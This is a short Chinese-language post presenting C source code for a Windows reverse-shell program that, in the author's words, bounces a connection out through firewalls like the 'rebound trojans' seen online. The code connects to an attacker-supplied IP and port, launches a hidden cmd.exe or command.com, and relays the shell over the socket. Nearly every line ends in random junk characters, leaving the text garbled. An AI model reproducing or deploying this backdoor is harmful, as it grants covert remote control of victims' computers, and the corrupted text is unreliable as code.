这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LfHzT<)|
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/* ============================== R2CQXhiJ
Rebound port in Windows NT \@8*T S
By wind,2006/7 ?d~]Wd !z
===============================*/ -w\M-wc/$
#include ljuNs@q
#include 1TIlINlJ
Ww=O=c5uOu
#pragma comment(lib,"wsock32.lib") JdO)YlM-
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void OutputShell(); Qww^P/vm
SOCKET sClient; 3T?f5+@I
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'u1=XX
h
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void main(int argc,char **argv) TOrMXcn!/
{ 0d";Hh:
WSADATA stWsaData; e6 2y
int nRet; _;7fraqX
SOCKADDR_IN stSaiClient,stSaiServer; |_, /u_
0 7\02f
if(argc != 3) ><K!~pst}
{ ]Z/R!y?l"G
printf("Useage:\n\rRebound DestIP DestPort\n"); "9ue76
return; DRp&IP<
} F3Ap1-%z
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WSAStartup(MAKEWORD(2,2),&stWsaData); -zTEL(r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E23w *']
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stSaiClient.sin_family = AF_INET; bNXAU\M^
stSaiClient.sin_port = htons(0); iE=P'"I
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ewym1}o
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rFfy#e
{ D'nL
printf("Bind Socket Failed!\n"); ?&xlT+JM
return; !)nD xM`p
} I-bF{
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stSaiServer.sin_family = AF_INET; z&>|*C.Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UGCox-W"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p1~*;;F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D^|7#b,zcH
{ G5;V.#"Z[
printf("Connect Error!"); LN\[Tmd &
return; ;y OD
} MJ\r 4n
OutputShell(); +sRP<as
} `s%QeAde
/ gu3@@h
void OutputShell() !UcOl0"6
{ Z%e|*GS{
char szBuff[1024]; 5
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SECURITY_ATTRIBUTES stSecurityAttributes; O_AGMW/2+
OSVERSIONINFO stOsversionInfo; <sc\EK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x6%#wsvS
STARTUPINFO stStartupInfo; {xToz]YA
char *szShell; Ye@t_,)x
PROCESS_INFORMATION stProcessInformation; n,sY\=vB
unsigned long lBytesRead; `m, Ki69.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HCazwX
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); SOj`Y|6^:
stSecurityAttributes.lpSecurityDescriptor = 0; X4'kZ'Sy<
stSecurityAttributes.bInheritHandle = TRUE; OXCQfT@\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ihqs%;V
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4.'JLArw
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GS4_jvD-
stStartupInfo.wShowWindow = SW_HIDE; C_Gzv'C"L
stStartupInfo.hStdInput = hReadPipe; e9:P9Di(b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !F$R+A+L
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GetVersionEx(&stOsversionInfo); vI|As+`$d
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switch(stOsversionInfo.dwPlatformId) L/fRF"V
{ VaJfD1zd1
case 1: Onw24&
szShell = "command.com"; c{VJ2NQ+
break; N5!&~~
default: [q3+$W \r
szShell = "cmd.exe"; >)3VbO
break; W+hV9
} |!}wF}iLc)
pX_b6%yX(
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F~R7~ZE
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send(sClient,szMsg,77,0); OD|1c6+X
while(1) V.2[ F|P;3
{ ]7vf#1i<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7=3O^=Q^Q
if(lBytesRead) ?(D}5`Nfu
{ 'Sa!5h
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q7(eq0na
send(sClient,szBuff,lBytesRead,0); 7"K^H]6u30
} ve-8*Xa
else ~-<:+9m
{ t7^D-l
lBytesRead=recv(sClient,szBuff,1024,0); KTv4< c]
if(lBytesRead<=0) break; s#P:6]Ar
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sUciFAb
} 'hIU_
}
tT-=hDw
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return; -_|]N/v\
}